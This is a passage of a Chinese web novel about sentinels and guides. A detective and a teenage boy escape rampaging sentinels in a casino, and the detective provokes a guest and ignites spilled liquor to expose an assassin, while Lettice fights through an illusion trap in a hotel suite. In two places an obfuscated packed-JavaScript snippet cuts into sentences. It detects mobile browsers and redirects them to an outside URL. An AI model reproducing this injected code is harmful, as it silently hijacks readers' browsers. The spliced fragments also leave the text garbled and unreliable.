从膝盖受伤之后。 从离开家乡的原野,被带到维克镇的塔之后。 尼尔森已经靠在树下睡着了,他眼下有很重的黑眼圈。侦探还是有严重的睡眠障碍,但莱蒂斯并不是时刻都能在他身边,所以每次和她一起时,他都会趁机补一下觉。就像从酒神节劫后余生的那晚一样,他们的手指轻轻勾在一起。 莱蒂斯看着他安静的侧脸,想了想,面朝尼尔森侧身躺在报纸上,蜷缩起来,闭上了眼睛。眼前的世界消失后,她放任整个灵魂去随着狼奔跑,而尼尔森的体温始终牵在她指尖,她知道自己最终会回到这里。 尼尔森是在一阵莫名其妙的动静里惊醒的。 侦探愤怒地睁眼,到底是哪个没素质的人一直在戳他脸?圣卢塞特的流浪汉已经嚣张到这个地步了吗? 但他眼前并没有没素质的流浪汉,只有一对墨绿的,野兽的竖瞳——一只没素质的北美灰狼正像只大狗狗一样用吻部顶他。尼尔森人傻了,手下意识一抖,结果发现他和莱蒂斯身边还有两只趴着和他们挤在一起的灰狼。 怪不得他没觉得冷呢。 见他醒来,北美灰狼移开了一点,有点兴奋地看着他。比起货轮上那令人胆寒的猛兽,这次的眼神里犬科含量更高。 尼尔森就这么傻傻地和它对视了很久,突然笑了出来。 “啊……是你啊。”他说,“她成功把你喊出来了。” 他认出来了,这就是游轮上那只离他们最近的狼。 “嗷呜……” 灰狼发出一声小小的喉音,高高兴兴地又贴上来。尼尔森也高高兴兴地抬起一只手,由着它粗粝又温暖的皮毛在自己脸颊蹭来蹭去,对它头顶一阵rua。 狼抖了抖耳朵,然后他感觉到自己的另一只手被什么勾了一下。 尼尔森顿住了。 他偏过头,看见莱蒂斯和自己牵在一起的手。 淦。 他以往和哨兵的互动纯粹就是直接把人往疯了整,没搞过什么感官安抚,更别提和精神动物友好玩耍了。加上莱蒂斯自身也无法直接接触到自己的狼,让他一下子忘了,精神动物和共感者的感官是共通的。 太好了,布列塔尼会杀了他的。 侦探满身冷汗地拦住狼,把它往外推,可惜他的力气实在螳臂当车,反而狼以为这是没找准方向的摸摸,低下头去蹭他的手掌。 尼尔森不动了。 “唔……” 然后尼尔森听见莱蒂斯喉咙里也发出了类似犬科被rua的声音。她缩着的身体似乎放松了一点。 ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356959|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>好吧。尼尔森想。他决绝地把手放在狼的头顶。 布列塔尼要杀就杀吧。 所以没人知道莱蒂斯的狼还挺粘人的,毕竟这事儿尼尔森谁也没说,狼去贴贴莱蒂斯和其他亲近的人的时候,他们又感觉不到。 而当敌人出现在自己的保护对象身边时,这无形无影的北美灰狼只会显露出野兽的那一面。它们依然只能注视他们,而只是注视,就足以让他们感觉到源自本能,宛如被高压一寸寸压碎骨骼的恐惧。 所以尼尔森知道,不管门外是什么,灰狼们能够压制住他们。 于是两只灰狼冲出门的那一刻,Papa办公室门外所有的混乱都中止了一瞬。借着这短暂的机会,尼尔森和罗亚利一边狂奔,一边看明白了情况。 满墙的弹孔,远处的叫喊,短路闪烁的灯光下,红丝绒地毯的走廊像是覆盖了一层暗红的薄幕。 十几个穿着赌场制服,装备精良的高大哨兵,带着格/洛/克,冲锋枪,甚至半自动机械臂,身上带伤,脸上带血,无差别地攻击着任何东西。因为场景里有两个新人闯入,他们的目光全都转向了这边。 他们没有任何情绪,眼里也没有任何理智,只有表情像是痛苦和怒意铸成的面具,牢牢焊在他们脸孔。 “……操。” 尼尔森骂道。 妈的,他还在提防那个Papa叫第一梯队的哨兵过来呢,合着都他妈在这儿一起暴走了? 好在暴走的哨兵依然被人类的本能所束缚。灰狼发出只有侦探能听见的狼嚎,但所有哨兵的动作都退却了。热武器安静下来,凝滞出一条求生的通道。 尼尔森和罗亚利趁此机会跑出老远。可很快,一种不安同时在两个敏锐之人的脑海中升起。他们回头,看见哨兵们脸上的痛苦似乎因为灰狼的压制而加重了。它像一把沉重的杵捣在他们的面容,将他们本就混沌的神志破坏得更加破碎。 “啊……” 一个哨兵嘴唇微张,他面对着自己看不见的狼,重重锤了两下自己的脑袋,可还是低吟像是爬虫从他口中艰难地伏行而出。 “行吧,看来疯得够呛……那就别耗在这里,先走!”尼尔森太阳穴一跳,他对灰狼们一挥手,一边扯过路过的一副装饰油画,一边喊道,“罗亚利,快点,墙上的画!!” “啊啊啊啊——!!!” 随后,所有哨兵都发出困兽一样的痛苦吼叫。他们手里的武器再次启动,尽管已经无法分辨自己到底在攻击谁,但五感依然引导着子弹飞向所有心脏跳动的源头。弹道之密集,几乎覆盖了这条走道。 “砰砰砰……!咔……嘎吱!” 但罗亚利和尼尔森都毫发无伤。为油画专门镶嵌的防弹玻璃上挡下了子弹,他们扔下千疮百孔的装饰油画,消失在转角。 “真有节目效果……我们这才跟Papa走了多久?外面就堵了这么大群神经病。”擅长跑路的尼尔森边跑边喘边吐槽,“真麻烦啊,这年头这么多哨兵同时暴走可不多见。” “呼……呼啊……这不是赌场的人干的。”罗亚利跟在他后面,气息不稳,“‘天堂’的人都有种莫名其妙的荣誉感……绝对不会,做这种可能伤害到赌场和客户的事情……” “这我知道。除此之外我还知道,这多半是想杀你的那家伙干的……”尼尔森看了眼跑在身边的狼,借用精神动物和主人的共感传递信息,“喂,莱蒂斯,听得见吗!追杀罗亚利的家伙来了!我们这边有大批哨兵暴走,很可能是他为了自造混乱引发的。” 这属于他的经验之谈,如果只是为了常见的抢劫或者诈骗,在这种高级别的赌场引发大批哨兵无差别攻击完全损人不利己。 而且…… “而且这种暴走还挺新的,我的意思是,它和我以前遇见过的都不一样。” 如尼尔森所感知到的,这些哨兵身上的空洞是陌生的。可尼尔森作为一个破坏过很多人精神的混蛋,其实相当熟悉哨兵暴走、神游,甚至是‘坠井’时的状态。 以上情况他都亲手引发过,而现在他面对的不是其中任何一种。它的症状类似神游引发的暴走,精神层面那种拉着周围塌陷的波动又接近于‘井’……然而‘井’又不会呈现得这么温和,按理来说,在‘井’产生的瞬间,周围其他共感者,包括尼尔森,都会受其影响。 得,看来这帮哨兵又疯出新花样了。尼尔森想,说起来,莱蒂斯今天遇到他之前,是不是就在调查最近频繁出现的哨兵暴走事件来着? 70. 第六十九章 尼尔森向来爱看事情变得混乱。 命悬一线这种事儿对他来说没什么稀奇的,但看世界级赌场里有条不紊的工作人员像BUG了的NPC一样忙来忙去不知道在忙些什么的机会可不多。他们应该是想尽办法才把暴走哨兵们困在那条走廊,结果尼尔森和罗亚利往外一冲,哨兵们也跟着追出来了。 看着两个迎面狂奔而来的身影,因珀瑞恩的人全都轻轻碎掉了。 Papa联系不上,赌场最强的哨兵守卫们反而在自家地盘发疯,工作人员茫无头绪,全凭职业素养分了两拨。服务员带着客人转移,安保则拿着装备且战且退尽量拦住哨兵。 趁着认得出自己的那群安保忙得找不着北,尼尔森把罗亚利胳膊一拽,大喊一声:“快让让,我侄子还小!快让我侄子先走!”无比顺滑地当着不明真相的服务员扎进一群客人里,跟着被带到了安全的区域。 “承蒙你关心了啊我亲爱的‘叔叔’。”罗亚利嫌弃地拍掉尼尔森的手,和他一前一后混进人群。 因珀瑞恩很大,即使一部分区域因为哨兵暴走而封锁,也不影响客人们在另一片区域继续娱乐。只是经典的轮盘赌区不幸沦陷,引起了一些不满的抱怨。 这里是一层挑空的高台,老钱家族的成年人们从容地端着香槟,将赌场补偿的近百万筹码转手抛回赌桌,Z世代的年轻人们则个个兴奋地举着手机直播附近隐约的枪声。还几个有人是被服务员扛着塞到大厅的,一放手就倒在了吧台旁的沙发上,或亢奋或萎靡,是个人都能看得出来他们磕了。 罗亚利拽紧袖口,四下张望。他太小了,不如其他人从容优雅也情有可原,但只有他和尼尔森知道,他的袖子里藏着枪。 与其说他是害怕,不如说他是焦躁——废话,他才十四,没吓傻就已经属于天赋异禀了,何况这赌场里还埋伏了一个想干掉他的杀手。但他也是真的不想求助尼尔森,这家伙也不知道是临危不乱还是直接开摆,一进来就直奔吧台找酒保要了杯烈酒,居然和人聊起酒柜上的收藏来。 “波兰蒸馏伏特加?真的假的,这根本就是燃料吧,真的有人点过这个吗?啊,也是,人上头了什么都做得出来……话说回来,再给我续杯牙买加朗姆酒呗?” 啧……哪来的酒鬼大叔啊。 罗亚利看着尼尔森靠在吧台上的背影,真想一走了之。可他必须得回到莱蒂斯小姐身边,要是真在这里出事,那一切都完了…… “喂,大叔。”男孩终于还是拉了拉尼尔森衣袖,小声问,“我们先去找莱蒂斯小姐汇合吧?” “我们这边的事情还没解决呢,干嘛去给她添麻烦?”尼尔森扣着酒杯转过身来,朗姆酒在玻璃杯里摇晃。他微垂着头,似乎已经有那么点醉意了,棕发掩映下的眼睛却一眨不眨。那金色的瞳孔里沉积着不明的阴影,罗亚利忽然有种站在黑暗里看探照灯在高处梭巡的错觉。 这感觉让他有些不适,以至于晚一步才注意到,有一个穿白色礼服的女性跌跌撞撞地走来了吧台前,手指揉着额角,让酒保给她倒一杯苦艾。 “您脸色不太好,”老练的酒保说,“需要给您叫医生来吗?” “可能是聚集的人突然变多了不适应而已,给我来杯酒就好了。”女人这么回答,语气倒还是富家小姐的体面和冷清,只是眼神有些失焦。罗亚利注意到她的表情介于茫然和隐忍之间,这很奇怪,他无法判断出她的想法,于是下意识退了一步。 他警惕所有靠近自己的人。 “很聪明的反应,但别躲太远了。”尼尔森抿了口酒,小声说,“现在还没到杀手动手的好时候呢。这帮有钱的见多识广,太淡定了,还不足以成为掩护……” “哎呀,我就帮他一把吧……!” 侦探感叹着,从袖口里滑出个小电子装置,拨动了上面的旋钮。 什么都没有发生,但那个女人的额角突然冒出了青筋。 “嗯……?呃……什么,声音……” 她发出艰涩的呢喃,说话也唐突地迟缓起来。下一秒她猛地抬头,看向尼尔森。 尼尔森笑着对她挥挥手:“Hello。” 女人皱眉,深吸一口气。罗亚利看见她按在太阳穴的手指抠进了皮肤。她说:“把那个……关掉。” “这个吗?” 尼尔森大大方方把装置拿在手上,一边和她对话,一边继续扭动旋钮。女人的瞳孔紧缩起来,重重一锤桌面,引来几道目光,又僵直在原地。 不知为何,她似乎想要动手,又想要克制自己。 她握紧拳头:“……把那个声音……关掉。” “关不关掉其实无所谓吧。这破玩意的声波一般不会有这么强效果,能被它给影响到,说明你的精神屏障差不多已经崩坏了。”尼尔森撑住下巴,旋钮持续地转动,“难受吗?不爽吗?你应该是个家教很严的贵族吧?但你对体面的执着真的能胜过你的本能吗?” 他在激怒她?他到底想干嘛……罗亚利往边上躲了躲,猜不出尼尔森的目的。痛苦浮上女人的脸庞,还有被挑拨起的愤怒,男孩总觉得她的模样有些眼熟,眼熟得叫他不安,但侦探还是不依不饶—— “苦艾酒帮不了你了,你明明很清楚。”尼尔森嘴角一挑,把旋钮一拧到底,“还不如让我推你一把——哎哟!” “够了!吵死了!!!” 回答尼尔森的是一声怒吼和一道残影,女人冲上前来,拳头直击他面部,被他熟练地偏头躲开。男人得逞的笑一闪而过,而女人长发飘飞——随着角度的变化,罗亚利睁大了眼睛。 啊。 原来是这样。 空洞的眼睛,暴力的冲动,盘根错节的痛苦和愤怒,对噪声极端的敏感,还有那颗在她耳垂上的黑色耳钉。 这位HighLimit区的客人,是一个早就濒临暴走的哨兵。 罗亚利终于明白过来: HighLimit区除了安保,连客人也开始暴走了。 尼尔森在不远处,早已连躲过几下攻击。桌上的酒杯都被狂躁的女人挨个打碎,他却不慌不忙,像逗狗一样晃晃手里的发声装置,把它一抛,扔到了吧台后的陈列着烈酒的酒柜上。 “喂,罗亚利,”在疑惑和高度紧张中,罗亚利听见尼尔森像个操纵一切的导演一样宣布道,“仔细点,重头戏来了。” 而接下来的一切都像倍速了一样发生得很快。 女人见声源改变,猛地调转方向翻上吧台,将挡在面前的啤酒机和玻璃杯统统掀翻。不明所以的酒保试图阻拦,才刚抬手,就被失去理智的哨兵抓住手臂摔了出去,整个人重重砸在酒柜上—— “咯啦,叮……砰!” 满墙的酒瓶摇晃着,抱着烈酒从高处纵身而下。连绵不绝的玻璃破裂声如同一场暴雨,满地溢出的酒液淹没碎片,像是血淹没尸体。 “这是怎么……啊!你干什么!你——啊啊啊啊啊啊!” 不远处的赌桌边,一位戴着黑色耳钉的客人掐住某个浑身雪茄味道的男人,提着他的衣领反复把他砸在桌上。又有人从内衬里掏出枪,打穿了高处播放音乐的音响和一个一直尖叫的普通人,毫无征兆地,血腥味混合着酒精味升起,拉开了荒诞混乱的序幕。 有人在喊,有人在跑,对着直播间嚷嚷的年轻人被打碎了手机和手掌,从亢奋变成惊恐。罗亚利站在瞬间混乱的人潮里,只觉得头晕耳鸣,而尼尔森根本就没有管他。侦探的金瞳熠熠生辉,似乎有些兴奋地在等待着什么。 该死的,这个疯子……如果这种混乱就是那个杀手想要的,那么尼尔森到底为什么要故意促成现状?! 罗亚利躲在吧台边沿。因为被扔在酒柜的发声装置,失控的哨兵和想阻拦他们的人都开始向这边聚集,对罗亚利来说,他们任何一个都有可能是致命的杀手。 那个捂着头的男人是装的吗?那个服务生会不会突然掏出枪?身后有响动,是沙发上的瘾君子在瞎嚷嚷,引得正面一个哨兵注意。那个哨兵朝这边过来了,就连尼尔森也看向了他!罗亚利掏出枪——会是这个人吗? “砰!” 然后枪真的响了。 “……哈……哈啊……?” 罗亚利站在原地,发出一声困惑而模糊的呻吟。 一颗子弹擦过他的头顶,再往下五厘米就是他太阳穴。但在此之前,一道红色的激光从刁钻的角度折射到了他视线的死角。 “啊,原来是你!”尼尔森的声音在旁边响起,“真不错啊,真是完美的伪装思路,我还真想不出有比这更不引人注意的身份了!” 侦探笑道:“这就是你想要的混乱吧?还满意你看到的吗?要不是我能感知到哨兵的精神异常,还真很难注意到客人的不对劲。哎呀,虽然不关我事,但我还是有点好奇,你是怎么让这么多哨兵都暴走的?” 什么……? 罗亚利过头去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356960|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看见了那张倒着几个瘾君子的沙发。有个高瘦的男人挤在其中,手里拿着一支单发的笔枪,看起来消瘦颓废,眼神却清醒狠戾。 “啊……哈哈,你也太谨慎了,居然选择这种低效的武器,就这么不想被注意到吗?不枉我加速让场面混乱起来,不然还钓不到你出手吧?”尼尔森这么点评道,激光发射器的光直指着男人的眼球,“你的情感隔断很完美,但我猜你现在应该觉得很奇怪吧?” “你明明在我们两个人的视野盲区一直毫无破绽地伪装着,为什么我会知道是你?为什么我能精准地掌握你的位置和开枪的时间,还用激光扰乱你的视线使你瞄准出现了偏差?” 侦探另一只手还端着酒杯。他将那烈酒一饮而尽,不详的金瞳居然带着点溺爱的笑意。 就在他和罗亚利身边,两只北美灰狼忠心地守卫,一直观察着全场所有人的一举一动。在杀手行动的第一秒,它们就向尼尔森发出了警告。 “嗯……为什么呢?”尼尔森在杀手阴狠的注视下乐了,“你就猜去吧!” “……即使你们发现了我,你们也逃脱不了我。” 高瘦的男人终于在尼尔森的刺激下开口。目光逆着激光的轨迹,死死盯着罗亚利。 “真的吗?其实我比你想的要了解你。比如我知道你的另一只手在搞什么小动作,是另一把备用枪吗?哦,还真是!”尼尔森说,让杀手的目光更冷了一层。 仅他可见的狼在他脚边呼噜了两声,很满意这个能明白自己意思的人类。 但杀手清楚眼前这两人的战斗力,这意味着:“你费尽心机,但毫无意义。只要你们在这个混乱的地方有一瞬间的分神,我就能杀死那个男孩和你。” “嗯……有一点你得搞清楚。”尼尔森咧开嘴角,“在不知道杀手是谁之前,混乱对我们来说确实是劣势,因为我们分辨不出身边突然出现的陌生人是不是危险的。” “但现在已经看见了你的脸,我们就知道该避开谁了,不是吗?而混乱,就是掩护我们远离你的最好方式。” “远离?”杀手将备用枪拿到身前,因为赌场无处不在的摄像头,他本不想用这么明显的武器,但更重要的是不能放跑目标——“你们根本没机会远离我。” “哦,那只是因为现在还不够乱而已。”尼尔森云淡风轻。他笑道:“你可能不太了解,我这个人特别擅长制造混乱。” 他手指一动,另一道激光从发射器里射出,刺入了一片狼藉的吧台。 杀手睁大眼睛,这才反应过来,但高温高压的等离子体已经撞上了空气中挥发的烈酒。 “砰……轰——!!!” 猛烈的火焰腾空而起,像是炽天使张开的羽翼横断在他们之间。烟雾报警器响得天崩地裂,感官错乱的哨兵更加疯狂,人群在高热中彻底开始无序的布朗运动,剩下倒霉的酒保带着半身的烈火在地上一边打滚一边惨叫。 杀手头疼欲裂。等他的五感摒除噪音、热度和其他人群的干扰后,他的目标已经消失在了面前。 “啊烫烫烫……” 尼尔森拍掉肩膀上的火星,甩开熊熊燃烧的吧台,冲进报警器尖锐的鸣叫。他跑下挑高层,高高兴兴的样子好像成功了一个无伤大雅的恶作剧:“怎么样?有这种声音作掩护,现场现在也乱成了一锅粥,杀手要定位我们就更难了。” “你这个神经病……”罗亚利慢他一步跑在后面,短裙边上有几道灼痕,“你烧了赌场!还不提前警告我一声!” “你这么聪明,我以为你猜到我要干什么了呢。” “……啧,我本来还对大叔你的良心还抱有点幻想,但既然你都这么说了,那你肯定是故意的了。” “我可没有,你们也看见了嘛。”尼尔森假模假样地澄清,倒不是因为他在乎罗亚利的感受,而是狼狼们正狐疑地看着他,那眼神和莱蒂斯怀疑他搞坏事时如出一辙,“莱蒂斯,杀手我已经引出来了,你那边怎么样?要是搞定了,让狼摇摇尾巴吧?” 他和空气说话的样子挺傻逼的,罗亚利有点想翻白眼。可空气似乎给了他意料之外的回应,侦探的脚步突然停了。 他低下头来,眼里一直以来的轻松转瞬结出寒霜。 罗亚利从没想过自己会在这个人脸上看到类似于担心的表情—— “……这是……为什么在摇头?莱蒂斯还好吗?不对……你们是想说,你们和莱蒂斯的共感被切断了?” 71. 第七十章 莱蒂斯一个人走在走廊。 Papa房间的密道穿过赌场,直通到了大厦的酒店区域。一模一样的门整齐地排在两侧,俨然是一个有无数侧室的迷宫,莱蒂斯明白过来为什么Papa会把这里选做逃生密道的终点。 但她依然不明白究竟是谁带走了Papa。 或者说,更让她不明白的是,Papa到底遭遇了什么? 酒店区很安静,柔软的红丝绒地毯吞噬了少女的脚步声。除了自己之外,莱蒂斯再也没有感知到任何一个人的存在。 这很不寻常。酒店是个客人密度相当高的地方,即使所有人都在房间内部,也不可能完全没有人活动的痕迹。 最明显的异常是味道——这条走廊上没有任何味道。 地毯的纤维里没有挂住残留的古龙水或香水,墙上也没有沾着挥发的酒精或未散的雪茄味。气味分子是那么无孔不入,酒神节被莱蒂斯抓住破绽就是因为走廊中给哨兵营造舒适感的香氛,可在‘天堂’的客房区,别说空气清新剂了,莱蒂斯连灰尘的味道都没有闻到。 成排的顶灯将莱蒂斯拆成三个深浅不一的影子,它们跟随着她,亦步亦趋。站在这里,她突然感觉到了某种奇异的孤独。 她想起小时候农忙的季节,自己一个人开着播种机在深夜里的田地里来回。方圆百里无人无声,她从不觉得孤单。后来她被带去了塔,身边是同龄的哨兵护卫,莱蒂斯却觉得那地方和这条走廊一样,空空如也。 认知误导吗? 莱蒂斯想着,再度削弱了自己的屏障。她不知道这次的敌人和那个叫米拉的女孩到底谁更强,但尝试的结果让她失望。走廊里还是什么都没有,就像一座荒废的鬼屋。 Papa在密道中被拖拽的声音像是百足虫爬行在她记忆里。 “刷……” 就在这时,走廊一侧传来响动,莱蒂斯在拐角看见了Papa的皮鞋和一截小腿。她俯身冲去,抬手就是一枪——她并不介意让Papa受伤,而鲜血会成为她追踪目标的最好标记,可那在她认知里毫无偏差的子弹什么也没打中。 她依然没有听见到底是谁在“拖拽”Papa。 跨过转角后,空无一人的百米走廊无声向尽头延展。再怎么快的人也没办法在几秒内穿过这里,Papa看起来像是凭空消失了一样。 “……” 莱蒂斯眯了眯眼睛。 这样灵异一样的事情已经发生了好几次了,而这次的走廊尤其的长……她被引得转过了好几个分叉口,彻底进入了客房区的深处。这装神弄鬼的弯弯绕绕让小姑娘有点急躁。她不是来玩捉迷藏的,不管现这是闪灵还是电锯惊魂,她只想痛快点来场真刀真枪的战斗。 她还要回尼尔森和罗亚利身边去呢。 尽管有精神动物跟着他们,莱蒂斯还是放心不下。她和她的狼之间的似乎还缺乏磨合,那两人没离开Papa房间前,莱蒂斯正在密道里奔跑。她能通过狼的眼睛看见他们,两人的斗嘴也清晰可闻,可当她冲出密道进入酒店区后,狼传递过来的信息就模糊起来。 在她的注意力逐渐被酒店走廊吸引的过程中,那与她共感的视野也闪烁起密密麻麻的雪花,就好像她的视神经连接了一块坏掉的屏幕。 也许她应该花更多时间和狼一起的……听尼尔森说,虽然自己看不见它们,但它们总喜欢粘在自己身边。 “而且它们特别毛绒,jellycat你有吧,这可是三只两米多长的超大号。”尼尔森比划,但住在农场的莱蒂斯并没有jellycat,所以某天野餐时,侦探塞了个大号的蓝色汉堡盒给她,上面还贴了个“给莱蒂斯”的贴纸。莱蒂斯打开一看,里面是个有豆豆眼的汉堡毛绒玩具。 “路过顺便买的。”尼尔森是这么说的,明明在送礼物,却莫名有种有点欠揍的志得意满,“我就知道你肯定喜欢的,不愧是我。” 莱蒂斯确实喜欢,毕竟豆豆眼汉堡真的很可爱,也很好摸。年轻的哨兵觉得还是快些回去比较好,于是决定不再纠结引来安保的可能性,将目光移向天花板。 这次她的头顶没有古董玻璃穹顶了,另一个造价不菲的装置顶替了它的位置——覆盖整个酒店房顶的喷洒灭火系统。 它有着灵敏的性能,极大的储水量,堪称百发百中的灭火效果,以及以上特征给它带来的必然弊端:它太敏锐,以至于一颗打进感应器的子弹就足以让它把走廊变成地上运河。 这是尼尔森告诉她的,他似乎对破坏消防系统颇有心得。也许是时候问问他之前究竟是干什么的了,不过现在……既然因珀瑞恩的家伙一个比一个磨蹭,那就故技重施把人逼出来吧。 莱蒂斯面无表情,举枪扣下扳机。 “吱……” 就在撞针被触发前,身边的一扇门突然开了一条小缝。 莱蒂斯眨眨眼,她明白了三件事。 对方能控制酒店、对方在监视自己的举动,以及—— 对方不希望她对消防系统开枪。 于是在走进那古怪的房间前,莱蒂斯果断对着感应器开了一枪,然后在能对酒店造成巨额损失的人造暴雨中一脚踹开了那遮遮掩掩的门。 房间里不出意料的空无一人,完全空白的味道和声音使它像塑料做的玩具一样不真实。HighLimit区的客房几乎都是套间,风格比起Papa的房间更偏现代简约,空间宽阔,装潢大气,进门就是一个能容纳十余人的餐吧台。 莱蒂斯再度降低了听力屏障,破门的回声告诉她,这套间里至少有三个相连的客厅和大大小小六个房间。 “唔……” 莱蒂斯微微蹙眉,额角隐约传来胀痛。 先前降低屏障时,她就隐约觉得不对,如今幅度大了,这怪异的感觉就更加明显,就好像她并不是在凭自己的意志调节一扇可逆的壁垒,而是在和外界的某种东西一起,把它像玻璃一样砸成了碎片—— “嗷呜——!” 也就是在莱蒂斯踏入房门的刹那,一声狼嚎突然响彻她耳边。 少女脚步一顿,瞪大了眼睛。 虽然看不见它,但莱蒂斯知道,这是自己为了保存精神力而没有唤出的第三只灰狼。 原来这孩子一直守着我吗?我终于可以听见它了?莱蒂斯没来得及思考,只觉得某种头晕目眩的冲击以宏观世界难以衡量的速度掠过视神经,除了那越发明显的胀痛之外,她感到自己的视野在一瞬间变得前所未有的清晰。 “!” 她当机立断扑向前去,一个翻滚躲到餐吧台后。 吧台上的酒杯因为她的动作摇晃了两下。客房依然空荡荡的,似乎只有莱蒂斯一个人存在。 但透过身边灰狼的眼睛,莱蒂斯分明看见了截然不同的混乱。 这根本就是个一片狼藉的战场。空气被血和汗的气味浸透,沉重得几乎要滴出腥甜的液体来。插在墙上的刀,挂在刀上的血肉,被掀翻的桌椅和玻璃的碎片散落一地。 有两个穿着奢侈的普通人失去意识倒在房间的角落,还有另一个垂着头瘫坐在墙边,脑后那道在墙上拖拽开的血迹触目惊心,所幸还有心跳。 五个戴着私人保镖名牌的哨兵满身是伤。他们冲着莱蒂斯的方向袭来,表情扭曲而狂躁。 莱蒂斯熟悉这样的状态,熟悉到令她意外——他们和她早些时候处理的暴走哨兵一模一样。 警局整理出的报告显示,这些暴走的哨兵五感强度会大幅增加。但也许是因为精神力异常,他们无法放出精神动物。 他们深陷痛苦,没有理智,会无差别攻击。外界的强刺激会进一步加强他们的狂躁,而造成感官刺激的人,无论轻重,都会成为他们的攻击目标。 现在,有四把左轮和一把冲锋枪都指着莱蒂斯的藏身之处。 而就在莱蒂斯先前落脚的地方,硝烟已经从焦黑的弹孔中升起,那是有了灰狼的压制才射偏的子弹。 “……” 莱蒂斯冷静地意识到,她面对的并不是一个懦夫,而是一个手段诡诈,狡谲多端的对手。 要不是灰狼,她早就在进门的瞬间,毫无知觉地葬身枪口了。 对方先是利用空走廊让莱蒂斯产生思维惯性,又将一个危机四伏的客房在她眼中捏造成空房间,只等莱蒂斯踏入陷阱,借暴走哨兵之手一击毙命。 生死一线,少女握枪的手却连抖都没有抖一下,反而进一步降低精神屏障的强度。 枪声在耳边隆隆作响,莱蒂斯没有半点畏惧,只觉得现状终于清晰起来。而除了对战局的分析,她还有了另一个猜测:虽然没有人活动痕迹的走廊应该是认知误导造成的,但Papa本身并不是被认知误导给藏起来的。 灰狼不受认知误导的影响,一直都能够看清真相。如果Papa实际上就在走廊里,即使莱蒂斯看不见,它也会提醒莱蒂斯的,就像莱蒂斯进门时的那样。 所以Papa的消失,应该是物理层面的消失。 抛去玄乎其技的认知误导,要在一段不可能在几秒内通过的百米走廊里突然消失,最简单的做法其实就是进入两侧的房间。而一旦挟持了因珀瑞恩的主管,这里的客房门比零食包装还容易打开。 莱蒂斯追得紧,对方只可能一开始就藏身进了最近的这间套件之中,也许是用了同样认知误导的手段,哨兵们也没有发现有外人闯入,所以—— Papa本人,其实就在这个房间之中! 果不其然,狼狼的听觉告诉她,套间一个较小的房间里,还有另一个心跳。 莱蒂斯眼神一凛,迎着接连而来的子弹,果断持枪冲出了餐吧台,以肩上一道滚烫的擦伤为代价,用最后两颗子弹正面射击,打断持冲锋枪的哨兵的肋骨,然后扔开手里的空枪,俯身冲上前去,钳制住了男人的双手。 她借着较小的体型俯身,蛮横地将男人死死拽在身前。灰狼忠诚地注视着战场,莱蒂斯知道左轮的子弹将从哪边袭来,她拉着男人一转方向,高大的 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她一边用冲锋枪火力覆盖入口,一边破门而入。 冷气袭来,这是一个步入式冰箱。莱蒂斯看见了靠墙而放的铁架和上面整齐摆放的蔬果、酒水和零食,而在狼的眼中,因珀瑞恩的Papa就坐在最里侧的铁架下。他脸色惨白,表情严肃,冲锋枪让他绷紧了身体,但他没有动作。 奇怪的是,狼和莱蒂斯都没有看见,究竟是什么在威慑着这位总管。 与此同时,冲锋枪的枪声落在莱蒂斯耳中,已经像倾泻而下的针雨一样让她浑身刺痛了。 她对此有所预料。她还是想破解危险的认知误导,精神屏障一降再降,但很显然屏障的削弱与她身体的反常息息相关。她不知道为什么,但当她试图重新提高精神屏障时,它就像被刀剖开的皮肤那样疼痛而无法愈合,而她的听力和嗅觉如同暴露在空气里的内脏,脆弱又危险…… “咔咔……咔……” 也就是在这个时候,冲锋枪的子弹用光了。 伴随着枪口消逝的火光,两个持左轮的哨兵聚拢过来,把莱蒂斯逼入狭小的角落,可莱蒂斯手里没有子弹的冲锋枪也是一件趁手的好兵器,她抄着这块重铁挡下子弹,直接抽在了敌人脸上。 这是其实是一场很简单的战斗。 暴走的哨兵和左轮对莱蒂斯来说并不危险,她成功把一个哨兵揍趴在门口,又夺下一个哨兵的枪,正中侧脸的回旋踢差点一击把他脑浆打出来。男人跌跌撞撞地后退,撞上身侧的铁货架。即食罐头在货架上摇晃,男人只想干掉莱蒂斯,撑住货架向前杀来—— “嘎吱……吱……轰——!!!” 谁也没料到,比起决胜负的枪声,先在三个哨兵听觉中炸开的,是男人无意间碰倒的铁货架,和如同铅球一样摔在地面的无数罐头。 这巨响像是一把砍刀直接劈开了莱蒂斯的颅骨,巨大的疼痛中,莱蒂斯忽然明白了暴走的哨兵们为什么会有攻击的冲动。 信息流太多太庞大,过载的感官太热太刺痛,他们需要一个渠道发泄自己的痛苦,或许是暴力,或许是向导的安抚…… 但莱蒂斯不会因为这种响动而失去理智。当初在游艇上失去听力屏障的苦痛超越现状百倍不止,她都依然清醒。 为什么会这样呢? 小姑娘不经不适时宜地疑惑起个中缘由,一边把那男人拦腰抄起,一个扫腰摔晕在了一堆罐头里。 “唔……” 战斗结束,可一阵眩晕随着她的动作盘旋而升,如同一场龙卷风的前兆。莱蒂斯试图修复自己的精神屏障,但它只是像风化的墙一样继续崩落。这不是一个好兆头,她担心她的听力再度失控。 失控了也没关系。她不害怕,她能够忍受,她完全有能力在那种根本就是折磨的信息流里保持清醒,甚至不需要向导疏导,但…… 但那寂静的深海和海中的离翼水母在记忆里像随洋流浮动,还有甜品的味道和毛绒玩具的柔软。 这个理智且要强的小姑娘头一次有点任性地希望,尼尔森此刻能够在自己身边。 